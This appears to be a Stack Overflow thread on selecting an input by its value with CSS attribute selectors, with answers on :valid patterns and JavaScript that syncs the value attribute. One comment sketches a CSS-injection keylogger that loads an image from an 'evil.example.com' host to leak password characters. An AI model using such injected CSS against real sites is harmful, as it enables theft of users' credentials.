72

Is it possible to use a CSS selector to target an input that has a specific value?

Example: How can I target the input below based on the value="United States"

<input type="text" value="United States" />

9 Answers 9

75

Dynamic Values (oh no! D;)

As npup explains in his answer, a simple css rule will only target the attribute value which means that this doesn't cover the actual value of the html node.

JAVASCRIPT TO THE RESCUE!


Original Answer

Yes it's very possible, using css attribute selectors you can reference input's by their value in this sort of fashion:

input[value="United States"] { color: #F90; }​

• jsFiddle example

from the reference

  • [att] Match when the element sets the "att" attribute, whatever the value of the attribute.

  • [att=val] Match when the element's "att" attribute value is exactly "val".

  • [att~=val] Represents an element with the att attribute whose value is a white space-separated list of words, one of which is exactly "val". If "val" contains white space, it will never represent anything (since the words are separated by spaces). If "val" is the empty string, it will never represent anything either.

  • [att|=val] Represents an element with the att attribute, its value either being exactly "val" or beginning with "val" immediately followed by "-" (U+002D). This is primarily intended to allow language subcode matches (e.g., the hreflang attribute on the a element in HTML) as described in BCP 47 ([BCP47]) or its successor. For lang (or xml:lang) language subcode matching, please see the :lang pseudo-class.

Sign up to request clarification or add additional context in comments.

9 Comments

Does this only work for text? I can't get this to work with type="number".
@Mikey It seems as though the problem is that the styles don't update when you update the value. Here's an example of how it doesn't work as I would expect: jsfiddle.net/VUXLT/4
@Luke I've updated my answer with a solution to that with javascript.
wouldn't el.on("change keydown keypress keyup", run); be better than setting a timeout?
@SamHasler probably but i'm not sure how foolproof change is considering the amount of different ways that the value can be modified
|
58

It is possible, if you're using a browser which supports the CSS :valid pseudo-class and the pattern validation attribute on inputs -- which includes most modern browsers except IE9.

For instance, to change the text of an input from black to green when the correct answer is entered:

input {
  color: black;
}
input:valid {
  color: green;
}
<p>Which country has fifty states?</p>

<input type="text" pattern="^United States$">

3 Comments

This works much better than input[value] based solutions, because it validates the pattern as you type and therefore applies the style on the fly.
Is there a way to add more patterns?
I love this answer for keeping it KISS. And yes you can add multiple values to the pattern attribute using regex.
22

Yes, but note: since the attribute selector (of course) targets the element's attribute, not the DOM node's value property (elem.value), it will not update while the form field is being updated.

Otherwise (with some trickery) I think it could have been used to make a CSS-only substitute for the "placeholder" attribute/functionality. Maybe that's what the OP was after? :)

4 Comments

It was what I was after. It makes sense though. Browsers only evaluate css rules when elements are rendered and changing the value wouldn't cause the input to rerender.
@SamHasler Here's an example of the value changing on load and the style being picked up: jsfiddle.net/bJMHC I believe the issue is entirely with the first point npop made.
@Mikey, it doesn't update if you change the input directly though. The solution appears to be to update the attribute whenever the value of the input changes: jsfiddle.net/8u4AC
@SamHasler see my updated answer with a global workaround up the top :)
17

As mentioned before, you need more than a css selector because it doesn't access the stored value of the node, so javascript is definitely needed. Heres another possible solution:

<style>
input:not([value=""]){
border:2px solid red;
}
</style>

<input type="text" onkeyup="this.setAttribute('value', this.value);"/>

1 Comment

Using oninput instead of onkeyup may be beneficial, especially if you suspect that some users may use copy/paste.
9

You can use Css3 attribute selector or attribute value selector.

/This will make all input whose value is defined to red/

input[value]{
color:red;
}

/This will make conditional selection depending on input value/

input[value="United States"]{
color:red;
} 

There are other attribute selector like attribute contains value selector,

input[value="United S"]{
color: red;
}

This will still make any input with United state as red text.

Than we attribute value starts with selector

input[value^='united']{
color: red;
}

Any input text starts with 'united' will have font color red

And the last one is attribute value ends with selector

input[value$='States']{
color:red;
}

Any input value ends with 'States' will have font color red

1 Comment

This is kind of correct, but might not work the way people are expecting. This only matches the value in the html "value" attribute, it does not work if you're trying to match the current value of an input field which has been changed.
8

Sure, try:

input[value="United States"]{ color: red; }

jsFiddle example.

4 Comments

Interestingly, if you change the HTML to initialize the input field with a different value (e.g. "China") and then manually (in the HTML form) change it to "United States", the CSS rule never gets invoked.
This is what I wanted to hear! It worked! In my case, my button value won't change, so this is all I needed. Thanks.
I was wondering if it was possible to sniff user's input if malicious CSS can be injected to a site. For example input[value|="a"] {background: url("https://evil.example.com/password-starts-with-a--1pixel-transparent.png")}
@علیرضا I think that keylogger doesn't work because like kmoser said, the rules only match initial hard-coded value in html, but not the content entered by the end user.
4

Refreshing attribute on events is a better approach than scanning value every tenth of a second...

http://jsfiddle.net/yqdcsqzz/3/

inputElement.onchange = function()
{
    this.setAttribute('value', this.value);
};

inputElement.onkeyup = function()
{
    this.setAttribute('value', this.value);
};

1 Comment

I strongly agree. This is much cleaner, more efficient, and doesn't require jQuery for such basic functionality. This answer should probably still include example CSS to go along with it to be a complete answer, but if you need to apply different styles for various different specific values (as opposed to a single valid and invalid style), this is the way to go.
3

In Chrome 72 (2019-02-09) I've discovered that the :in-range attribute is applied to empty date inputs, for some reason!

So this works for me: (I added the :not([max]):not([min]) selectors to avoid breaking date inputs that do have a range applied to them:

input[type=date]:not([max]):not([min]):in-range {
    color: blue;
}

Screenshot:


enter image description here


Here's a runnable sample:

window.addEventListener( 'DOMContentLoaded', onLoad );

function onLoad() {
    
    document.getElementById( 'date4' ).value = "2019-02-09";
    
    document.getElementById( 'date5' ).value = null;
    
}
label {
    display: block;
    margin: 1em;
}

input[type=date]:not([max]):not([min]):in-range {
    color: blue;
}
<label>
    <input type="date" id="date1" />
    Without HTML value=""
</label>
    
<label>
    <input type="date" id="date2" value="2019-02-09" />
    With HTML value=""
</label>

<label>
    <input type="date" id="date3" />
    Without HTML value="" but modified by user
</label>
    
<label>
    <input type="date" id="date4" />
    Without HTML value="" but set by script
</label>
    
<label>
    <input type="date" id="date5" value="2019-02-09" />
    With HTML value="" but cleared by script
</label>

Comments

1

Following the currently top voted answer, I've found using a dataset / data attribute works well.

//Javascript

const input1 = document.querySelector("#input1");
input1.value = "0.00";
input1.dataset.value = input1.value;
//dataset.value will set "data-value" on the input1 HTML element
//and will be used by CSS targetting the dataset attribute

document.querySelectorAll("input").forEach((input) => {
  input.addEventListener("input", function() {
    this.dataset.value = this.value;
    console.log(this);
  })
})
/*CSS*/

input[data-value="0.00"] {
  color: red;
}
<!--HTML-->

<div>
  <p>Input1 is programmatically set by JavaScript:</p>
  <label for="input1">Input 1:</label>
  <input id="input1" value="undefined" data-value="undefined">
</div>
<br>
<div>
  <p>Try typing 0.00 inside input2:</p>
  <label for="input2">Input 2:</label>
  <input id="input2" value="undefined" data-value="undefined">
</div>

2 Comments

Very elegant :-)
I... don't understand. Why do you want to duplicate the value instead of using the built-in value attribute (whose search is accelerated by native code)

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.